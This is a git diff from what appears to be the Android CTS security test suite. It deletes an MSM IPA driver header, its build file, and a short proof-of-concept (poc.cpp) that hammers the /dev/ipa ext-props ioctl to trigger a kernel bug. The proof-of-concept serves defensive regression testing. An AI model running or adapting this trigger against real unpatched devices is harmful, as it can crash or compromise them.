- * enum teth_link_protocol_type - link protocol (IP / Ethernet)
- */
-enum teth_link_protocol_type {
-        TETH_LINK_PROTOCOL_IP,
-        TETH_LINK_PROTOCOL_ETHERNET,
-        TETH_LINK_PROTOCOL_MAX,
-};
-
-/**
- * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
- */
-enum teth_aggr_protocol_type {
-        TETH_AGGR_PROTOCOL_NONE,
-        TETH_AGGR_PROTOCOL_MBIM,
-        TETH_AGGR_PROTOCOL_TLP,
-        TETH_AGGR_PROTOCOL_MAX,
-};
-
-/**
- * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
- * @aggr_prot:                        Aggregation protocol (MBIM / TLP)
- * @max_transfer_size_byte:        Maximal size of aggregated packet in bytes.
- *                                Default value is 16*1024.
- * @max_datagrams:                Maximal number of IP packets in an aggregated
- *                                packet. Default value is 16
- */
-struct teth_aggr_params_link {
-        enum teth_aggr_protocol_type aggr_prot;
-        uint32_t max_transfer_size_byte;
-        uint32_t max_datagrams;
-};
-
-
-/**
- * struct teth_aggr_params - Aggregation parmeters
- * @ul:        Uplink parameters
- * @dl: Downlink parmaeters
- */
-struct teth_aggr_params {
-        struct teth_aggr_params_link ul;
-        struct teth_aggr_params_link dl;
-};
-
-/**
- * struct teth_aggr_capabilities - Aggregation capabilities
- * @num_protocols:                Number of protocols described in the array
- * @prot_caps[]:                Array of aggregation capabilities per protocol
- */
-struct teth_aggr_capabilities {
-        uint16_t num_protocols;
-        struct teth_aggr_params_link prot_caps[0];
-};
-
-/**
- * struct teth_ioc_set_bridge_mode
- * @link_protocol: link protocol (IP / Ethernet)
- * @lcid: logical channel number
- */
-struct teth_ioc_set_bridge_mode {
-        enum teth_link_protocol_type link_protocol;
-        uint16_t lcid;
-};
-
-/**
- * struct teth_ioc_set_aggr_params
- * @aggr_params: Aggregation parmeters
- * @lcid: logical channel number
- */
-struct teth_ioc_aggr_params {
-        struct teth_aggr_params aggr_params;
-        uint16_t lcid;
-};
-
-
-#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
-                                struct teth_ioc_set_bridge_mode *)
-#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
-                                struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
-                                struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
-                                TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
-                                struct teth_aggr_capabilities *)
-
-/*
- * unique magic number of the ODU bridge ioctls
- */
-#define ODU_BRIDGE_IOC_MAGIC 0xCD
-
-/*
- * Ioctls supported by ODU bridge driver
- */
-#define ODU_BRIDGE_IOCTL_SET_MODE        0
-#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR        1
-#define ODU_BRIDGE_IOCTL_MAX                2
-
-/**
- * enum odu_bridge_mode - bridge mode
- *                        (ROUTER MODE / BRIDGE MODE)
- */
-enum odu_bridge_mode {
-        ODU_BRIDGE_MODE_ROUTER,
-        ODU_BRIDGE_MODE_BRIDGE,
-        ODU_BRIDGE_MODE_MAX,
-};
-
-#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
-                                ODU_BRIDGE_IOCTL_SET_MODE, \
-                                enum odu_bridge_mode)
-
-#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
-                                ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
-                                struct in6_addr *)
-
-#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp b/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp
deleted file mode 100644
index f036943..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp
+++ /dev/null
@@ -1,65 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions
- * and limitations under the License.
- **/
-
-
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/ioctl.h>
-#include <string.h>
-#include "local_poc.h"
-#include <unistd.h>
-#include <stdio.h>
-
-struct ipa_ioc_query_intf_ext_props_2 {
-        char name[IPA_RESOURCE_NAME_MAX];
-        uint32_t num_ext_props;
-        struct ipa_ioc_ext_intf_prop ext[23];
-};
-
-int main() {
-
-        int fd = open("/dev/ipa", O_RDWR);
-
-        struct ipa_ioc_query_intf query_intf;
-        strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-
-        int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
-
-        ipa_ioc_query_intf_ext_props_2 ext_props_2;
-        memset(&ext_props_2, 0, sizeof(ext_props_2));
-        strlcpy(&(ext_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-        ext_props_2.num_ext_props = 23;
-
-        int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_EXT_PROPS, &ext_props_2);
-
-        while (true) {
-                ipa_ioc_query_intf_ext_props ext_props;
-                memset(&ext_props, 0, sizeof(ext_props));
-                strlcpy(&(ext_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-                ext_props.num_ext_props = 0;
-
-                int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_EXT_PROPS, &ext_props);
-                usleep(10000);
-        }
-        return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk b/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
deleted file mode 100644
index a009f80..0000000
--- a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35048450
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h b/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h
deleted file mode 100644
index 889018d..0000000
--- a/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h
+++ /dev/null
@@ -1,1759 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
-*/
-
-#ifndef _UAPI_MSM_IPA_H_
-#define _UAPI_MSM_IPA_H_
-
-#ifndef __KERNEL__
-#include <stdint.h>
-#include <stddef.h>
-#include <sys/stat.h>
-#endif
-#include <linux/ioctl.h>
-#include <linux/types.h>
-#include <linux/if_ether.h>
-
-/**
- * unique magic number of the IPA device
- */
-#define IPA_IOC_MAGIC 0xCF
-
-/**
- * name of the default routing tables for v4 and v6
- */
-#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
-
-/**
- *   the commands supported by IPA driver
- */
-#define IPA_IOCTL_ADD_HDR            0
-#define IPA_IOCTL_DEL_HDR            1
-#define IPA_IOCTL_ADD_RT_RULE        2
-#define IPA_IOCTL_DEL_RT_RULE        3
-#define IPA_IOCTL_ADD_FLT_RULE       4
-#define IPA_IOCTL_DEL_FLT_RULE       5
-#define IPA_IOCTL_COMMIT_HDR         6
-#define IPA_IOCTL_RESET_HDR          7
-#define IPA_IOCTL_COMMIT_RT          8
-#define IPA_IOCTL_RESET_RT           9
-#define IPA_IOCTL_COMMIT_FLT        10
-#define IPA_IOCTL_RESET_FLT         11
-#define IPA_IOCTL_DUMP              12
-#define IPA_IOCTL_GET_RT_TBL        13
-#define IPA_IOCTL_PUT_RT_TBL        14
-#define IPA_IOCTL_COPY_HDR          15
-#define IPA_IOCTL_QUERY_INTF        16
-#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
-#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
-#define IPA_IOCTL_GET_HDR           19
-#define IPA_IOCTL_PUT_HDR           20
-#define IPA_IOCTL_SET_FLT        21
-#define IPA_IOCTL_ALLOC_NAT_MEM  22
-#define IPA_IOCTL_V4_INIT_NAT    23
-#define IPA_IOCTL_NAT_DMA        24
-#define IPA_IOCTL_V4_DEL_NAT     26
-#define IPA_IOCTL_PULL_MSG       27
-#define IPA_IOCTL_GET_NAT_OFFSET 28
-#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
-#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
-#define IPA_IOCTL_GENERATE_FLT_EQ 31
-#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
-#define IPA_IOCTL_QUERY_EP_MAPPING 33
-#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
-#define IPA_IOCTL_WRITE_QMAPID 35
-#define IPA_IOCTL_MDFY_FLT_RULE 36
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD        37
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL        38
-#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED        39
-#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
-#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
-#define IPA_IOCTL_MDFY_RT_RULE 42
-#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
-#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
-#define IPA_IOCTL_GET_HW_VERSION 45
-#define IPA_IOCTL_MAX 46
-
-/**
- * max size of the header to be inserted
- */
-#define IPA_HDR_MAX_SIZE 64
-
-/**
- * max size of the name of the resource (routing table, header)
- */
-#define IPA_RESOURCE_NAME_MAX 32
-
-/**
- * max number of interface properties
- */
-#define IPA_NUM_PROPS_MAX 35
-
-/**
- * size of the mac address
- */
-#define IPA_MAC_ADDR_SIZE  6
-
-/**
- * max number of mbim streams
- */
-#define IPA_MBIM_MAX_STREAM_NUM 8
-
-/**
- * the attributes of the rule (routing or filtering)
- */
-#define IPA_FLT_TOS                        (1ul << 0)
-#define IPA_FLT_PROTOCOL                (1ul << 1)
-#define IPA_FLT_SRC_ADDR                (1ul << 2)
-#define IPA_FLT_DST_ADDR                (1ul << 3)
-#define IPA_FLT_SRC_PORT_RANGE                (1ul << 4)
-#define IPA_FLT_DST_PORT_RANGE                (1ul << 5)
-#define IPA_FLT_TYPE                        (1ul << 6)
-#define IPA_FLT_CODE                        (1ul << 7)
-#define IPA_FLT_SPI                        (1ul << 8)
-#define IPA_FLT_SRC_PORT                (1ul << 9)
-#define IPA_FLT_DST_PORT                (1ul << 10)
-#define IPA_FLT_TC                        (1ul << 11)
-#define IPA_FLT_FLOW_LABEL                (1ul << 12)
-#define IPA_FLT_NEXT_HDR                (1ul << 13)
-#define IPA_FLT_META_DATA                (1ul << 14)
-#define IPA_FLT_FRAGMENT                (1ul << 15)
-#define IPA_FLT_TOS_MASKED                (1ul << 16)
-#define IPA_FLT_MAC_SRC_ADDR_ETHER_II        (1ul << 17)
-#define IPA_FLT_MAC_DST_ADDR_ETHER_II        (1ul << 18)
-#define IPA_FLT_MAC_SRC_ADDR_802_3        (1ul << 19)
-#define IPA_FLT_MAC_DST_ADDR_802_3        (1ul << 20)
-#define IPA_FLT_MAC_ETHER_TYPE                (1ul << 21)
-
-/**
- * enum ipa_client_type - names for the various IPA "clients"
- * these are from the perspective of the clients, for e.g.
- * HSIC1_PROD means HSIC client is the producer and IPA is the
- * consumer
- */
-enum ipa_client_type {
-        IPA_CLIENT_PROD,
-        IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
-        IPA_CLIENT_WLAN1_PROD,
-        IPA_CLIENT_HSIC2_PROD,
-        IPA_CLIENT_USB2_PROD,
-        IPA_CLIENT_HSIC3_PROD,
-        IPA_CLIENT_USB3_PROD,
-        IPA_CLIENT_HSIC4_PROD,
-        IPA_CLIENT_USB4_PROD,
-        IPA_CLIENT_HSIC5_PROD,
-        IPA_CLIENT_USB_PROD,
-        IPA_CLIENT_A5_WLAN_AMPDU_PROD,
-        IPA_CLIENT_A2_EMBEDDED_PROD,
-        IPA_CLIENT_A2_TETHERED_PROD,
-        IPA_CLIENT_APPS_LAN_WAN_PROD,
-        IPA_CLIENT_APPS_CMD_PROD,
-        IPA_CLIENT_ODU_PROD,
-        IPA_CLIENT_MHI_PROD,
-        IPA_CLIENT_Q6_LAN_PROD,
-        IPA_CLIENT_Q6_WAN_PROD,
-        IPA_CLIENT_Q6_CMD_PROD,
-        IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
-        IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
-        IPA_CLIENT_Q6_DECOMP_PROD,
-        IPA_CLIENT_Q6_DECOMP2_PROD,
-        IPA_CLIENT_UC_USB_PROD,
-
-        /* Below PROD client type is only for test purpose */
-        IPA_CLIENT_TEST_PROD,
-        IPA_CLIENT_TEST1_PROD,
-        IPA_CLIENT_TEST2_PROD,
-        IPA_CLIENT_TEST3_PROD,
-        IPA_CLIENT_TEST4_PROD,
-
-        IPA_CLIENT_CONS,
-        IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
-        IPA_CLIENT_WLAN1_CONS,
-        IPA_CLIENT_HSIC2_CONS,
-        IPA_CLIENT_USB2_CONS,
-        IPA_CLIENT_WLAN2_CONS,
-        IPA_CLIENT_HSIC3_CONS,
-        IPA_CLIENT_USB3_CONS,
-        IPA_CLIENT_WLAN3_CONS,
-        IPA_CLIENT_HSIC4_CONS,
-        IPA_CLIENT_USB4_CONS,
-        IPA_CLIENT_WLAN4_CONS,
-        IPA_CLIENT_HSIC5_CONS,
-        IPA_CLIENT_USB_CONS,
-        IPA_CLIENT_USB_DPL_CONS,
-        IPA_CLIENT_A2_EMBEDDED_CONS,
-        IPA_CLIENT_A2_TETHERED_CONS,
-        IPA_CLIENT_A5_LAN_WAN_CONS,
-        IPA_CLIENT_APPS_LAN_CONS,
-        IPA_CLIENT_APPS_WAN_CONS,
-        IPA_CLIENT_ODU_EMB_CONS,
-        IPA_CLIENT_ODU_TETH_CONS,
-        IPA_CLIENT_MHI_CONS,
-        IPA_CLIENT_Q6_LAN_CONS,
-        IPA_CLIENT_Q6_WAN_CONS,
-        IPA_CLIENT_Q6_DUN_CONS,
-        IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
-        IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
-        IPA_CLIENT_Q6_DECOMP_CONS,
-        IPA_CLIENT_Q6_DECOMP2_CONS,
-        IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
-        /* Below CONS client type is only for test purpose */
-        IPA_CLIENT_TEST_CONS,
-        IPA_CLIENT_TEST1_CONS,
-        IPA_CLIENT_TEST2_CONS,
-        IPA_CLIENT_TEST3_CONS,
-        IPA_CLIENT_TEST4_CONS,
-
-        IPA_CLIENT_MAX,
-};
-
-#define IPA_CLIENT_IS_APPS_CONS(client) \
-        ((client) == IPA_CLIENT_APPS_LAN_CONS || \
-        (client) == IPA_CLIENT_APPS_WAN_CONS)
-
-#define IPA_CLIENT_IS_USB_CONS(client) \
-        ((client) == IPA_CLIENT_USB_CONS || \
-        (client) == IPA_CLIENT_USB2_CONS || \
-        (client) == IPA_CLIENT_USB3_CONS || \
-        (client) == IPA_CLIENT_USB_DPL_CONS || \
-        (client) == IPA_CLIENT_USB4_CONS)
-
-#define IPA_CLIENT_IS_WLAN_CONS(client) \
-        ((client) == IPA_CLIENT_WLAN1_CONS || \
-        (client) == IPA_CLIENT_WLAN2_CONS || \
-        (client) == IPA_CLIENT_WLAN3_CONS || \
-        (client) == IPA_CLIENT_WLAN4_CONS)
-
-#define IPA_CLIENT_IS_ODU_CONS(client) \
-        ((client) == IPA_CLIENT_ODU_EMB_CONS || \
-        (client) == IPA_CLIENT_ODU_TETH_CONS)
-
-#define IPA_CLIENT_IS_Q6_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
-        (client) == IPA_CLIENT_Q6_WAN_CONS || \
-        (client) == IPA_CLIENT_Q6_DUN_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
-        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
-        (client) == IPA_CLIENT_Q6_WAN_PROD || \
-        (client) == IPA_CLIENT_Q6_CMD_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
-        (client) == IPA_CLIENT_Q6_WAN_CONS || \
-        (client) == IPA_CLIENT_Q6_DUN_CONS || \
-        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
-
-#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
-        ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
-
-#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
-        (client) == IPA_CLIENT_Q6_WAN_PROD || \
-        (client) == IPA_CLIENT_Q6_CMD_PROD)
-
-#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
-        ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
-        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
-        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
-        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
-
-#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
-        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
-        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
-
-#define IPA_CLIENT_IS_MHI_CONS(client) \
-        ((client) == IPA_CLIENT_MHI_CONS)
-
-#define IPA_CLIENT_IS_MHI(client) \
-        ((client) == IPA_CLIENT_MHI_CONS || \
-        (client) == IPA_CLIENT_MHI_PROD)
-
-#define IPA_CLIENT_IS_TEST_PROD(client) \
-        ((client) == IPA_CLIENT_TEST_PROD || \
-        (client) == IPA_CLIENT_TEST1_PROD || \
-        (client) == IPA_CLIENT_TEST2_PROD || \
-        (client) == IPA_CLIENT_TEST3_PROD || \
-        (client) == IPA_CLIENT_TEST4_PROD)
-
-#define IPA_CLIENT_IS_TEST_CONS(client) \
-        ((client) == IPA_CLIENT_TEST_CONS || \
-        (client) == IPA_CLIENT_TEST1_CONS || \
-        (client) == IPA_CLIENT_TEST2_CONS || \
-        (client) == IPA_CLIENT_TEST3_CONS || \
-        (client) == IPA_CLIENT_TEST4_CONS)
-
-#define IPA_CLIENT_IS_TEST(client) \
-        (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
-
-/**
- * enum ipa_ip_type - Address family: IPv4 or IPv6
- */
-enum ipa_ip_type {
-        IPA_IP_v4,
-        IPA_IP_v6,
-        IPA_IP_MAX
-};
-
-/**
- * enum ipa_rule_type - Type of routing or filtering rule
- * Hashable: Rule will be located at the hashable tables
- * Non_Hashable: Rule will be located at the non-hashable tables
- */
-enum ipa_rule_type {
-        IPA_RULE_HASHABLE,
-        IPA_RULE_NON_HASHABLE,
-        IPA_RULE_TYPE_MAX
-};
-
-/**
- * enum ipa_flt_action - action field of filtering rule
- *
- * Pass to routing: 5'd0
- * Pass to source NAT: 5'd1
- * Pass to destination NAT: 5'd2
- * Pass to default output pipe (e.g., Apps or Modem): 5'd3
- */
-enum ipa_flt_action {
-        IPA_PASS_TO_ROUTING,
-        IPA_PASS_TO_SRC_NAT,
-        IPA_PASS_TO_DST_NAT,
-        IPA_PASS_TO_EXCEPTION
-};
-
-/**
- * enum ipa_wlan_event - Events for wlan client
- *
- * wlan client connect: New wlan client connected
- * wlan client disconnect: wlan client disconnected
- * wlan client power save: wlan client moved to power save
- * wlan client normal: wlan client moved out of power save
- * sw routing enable: ipa routing is disabled
- * sw routing disable: ipa routing is enabled
- * wlan ap connect: wlan AP(access point) is up
- * wlan ap disconnect: wlan AP(access point) is down
- * wlan sta connect: wlan STA(station) is up
- * wlan sta disconnect: wlan STA(station) is down
- * wlan client connect ex: new wlan client connected
- * wlan scc switch: wlan interfaces in scc mode
- * wlan mcc switch: wlan interfaces in mcc mode
- * wlan wdi enable: wdi data path completed
- * wlan wdi disable: wdi data path teardown
- */
-enum ipa_wlan_event {
-        WLAN_CLIENT_CONNECT,
-        WLAN_CLIENT_DISCONNECT,
-        WLAN_CLIENT_POWER_SAVE_MODE,
-        WLAN_CLIENT_NORMAL_MODE,
-        SW_ROUTING_ENABLE,
-        SW_ROUTING_DISABLE,
-        WLAN_AP_CONNECT,
-        WLAN_AP_DISCONNECT,
-        WLAN_STA_CONNECT,
-        WLAN_STA_DISCONNECT,
-        WLAN_CLIENT_CONNECT_EX,
-        WLAN_SWITCH_TO_SCC,
-        WLAN_SWITCH_TO_MCC,
-        WLAN_WDI_ENABLE,
-        WLAN_WDI_DISABLE,
-        IPA_WLAN_EVENT_MAX
-};
-
-/**
- * enum ipa_wan_event - Events for wan client
- *
- * wan default route add/del
- * wan embms connect: New wan embms interface connected
- */
-enum ipa_wan_event {
-        WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
-        WAN_UPSTREAM_ROUTE_DEL,
-        WAN_EMBMS_CONNECT,
-        WAN_XLAT_CONNECT,
-        IPA_WAN_EVENT_MAX
-};
-
-enum ipa_ecm_event {
-        ECM_CONNECT = IPA_WAN_EVENT_MAX,
-        ECM_DISCONNECT,
-        IPA_ECM_EVENT_MAX,
-};
-
-enum ipa_tethering_stats_event {
-        IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
-        IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
-        IPA_TETHERING_STATS_EVENT_MAX,
-        IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
-};
-
-#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
-
-/**
- * enum ipa_rm_resource_name - IPA RM clients identification names
- *
- * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
- * when adding new entry to this enum.
- */
-enum ipa_rm_resource_name {
-        IPA_RM_RESOURCE_PROD = 0,
-        IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
-        IPA_RM_RESOURCE_USB_PROD,
-        IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
-        IPA_RM_RESOURCE_HSIC_PROD,
-        IPA_RM_RESOURCE_STD_ECM_PROD,
-        IPA_RM_RESOURCE_RNDIS_PROD,
-        IPA_RM_RESOURCE_WWAN_0_PROD,
-        IPA_RM_RESOURCE_WLAN_PROD,
-        IPA_RM_RESOURCE_ODU_ADAPT_PROD,
-        IPA_RM_RESOURCE_MHI_PROD,
-        IPA_RM_RESOURCE_PROD_MAX,
-
-        IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
-        IPA_RM_RESOURCE_USB_CONS,
-        IPA_RM_RESOURCE_USB_DPL_CONS,
-        IPA_RM_RESOURCE_HSIC_CONS,
-        IPA_RM_RESOURCE_WLAN_CONS,
-        IPA_RM_RESOURCE_APPS_CONS,
-        IPA_RM_RESOURCE_ODU_ADAPT_CONS,
-        IPA_RM_RESOURCE_MHI_CONS,
-        IPA_RM_RESOURCE_MAX
-};
-
-/**
- * enum ipa_hw_type - IPA hardware version type
- * @IPA_HW_None: IPA hardware version not defined
- * @IPA_HW_v1_0: IPA hardware version 1.0
- * @IPA_HW_v1_1: IPA hardware version 1.1
- * @IPA_HW_v2_0: IPA hardware version 2.0
- * @IPA_HW_v2_1: IPA hardware version 2.1
- * @IPA_HW_v2_5: IPA hardware version 2.5
- * @IPA_HW_v2_6: IPA hardware version 2.6
- * @IPA_HW_v2_6L: IPA hardware version 2.6L
- * @IPA_HW_v3_0: IPA hardware version 3.0
- */
-enum ipa_hw_type {
-        IPA_HW_None = 0,
-        IPA_HW_v1_0 = 1,
-        IPA_HW_v1_1 = 2,
-        IPA_HW_v2_0 = 3,
-        IPA_HW_v2_1 = 4,
-        IPA_HW_v2_5 = 5,
-        IPA_HW_v2_6 = IPA_HW_v2_5,
-        IPA_HW_v2_6L = 6,
-        IPA_HW_v3_0 = 10,
-        IPA_HW_v3_1 = 11,
-        IPA_HW_MAX
-};
-
-/**
- * struct ipa_rule_attrib - attributes of a routing/filtering
- * rule, all in LE
- * @attrib_mask: what attributes are valid
- * @src_port_lo: low port of src port range
- * @src_port_hi: high port of src port range
- * @dst_port_lo: low port of dst port range
- * @dst_port_hi: high port of dst port range
- * @type: ICMP/IGMP type
- * @code: ICMP/IGMP code
- * @spi: IPSec SPI
- * @src_port: exact src port
- * @dst_port: exact dst port
- * @meta_data: meta-data val
- * @meta_data_mask: meta-data mask
- * @u.v4.tos: type of service
- * @u.v4.protocol: protocol
- * @u.v4.src_addr: src address value
- * @u.v4.src_addr_mask: src address mask
- * @u.v4.dst_addr: dst address value
- * @u.v4.dst_addr_mask: dst address mask
- * @u.v6.tc: traffic class
- * @u.v6.flow_label: flow label
- * @u.v6.next_hdr: next header
- * @u.v6.src_addr: src address val
- * @u.v6.src_addr_mask: src address mask
- * @u.v6.dst_addr: dst address val
- * @u.v6.dst_addr_mask: dst address mask
- */
-struct ipa_rule_attrib {
-        uint32_t attrib_mask;
-        uint16_t src_port_lo;
-        uint16_t src_port_hi;
-        uint16_t dst_port_lo;
-        uint16_t dst_port_hi;
-        uint8_t type;
-        uint8_t code;
-        uint8_t tos_value;
-        uint8_t tos_mask;
-        uint32_t spi;
-        uint16_t src_port;
-        uint16_t dst_port;
-        uint32_t meta_data;
-        uint32_t meta_data_mask;
-        uint8_t src_mac_addr[ETH_ALEN];
-        uint8_t src_mac_addr_mask[ETH_ALEN];
-        uint8_t dst_mac_addr[ETH_ALEN];
-        uint8_t dst_mac_addr_mask[ETH_ALEN];
-        uint16_t ether_type;
-        union {
-                struct {
-                        uint8_t tos;
-                        uint8_t protocol;
-                        uint32_t src_addr;
-                        uint32_t src_addr_mask;
-                        uint32_t dst_addr;
-                        uint32_t dst_addr_mask;
-                } v4;
-                struct {
-                        uint8_t tc;
-                        uint32_t flow_label;
-                        uint8_t next_hdr;
-                        uint32_t src_addr[4];
-                        uint32_t src_addr_mask[4];
-                        uint32_t dst_addr[4];
-                        uint32_t dst_addr_mask[4];
-                } v6;
-        } u;
-};
-
-/*! @brief The maximum number of Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
-#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
-
-/*! @brief The maximum number of Mask Equal 128 Eqns */
-#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
-
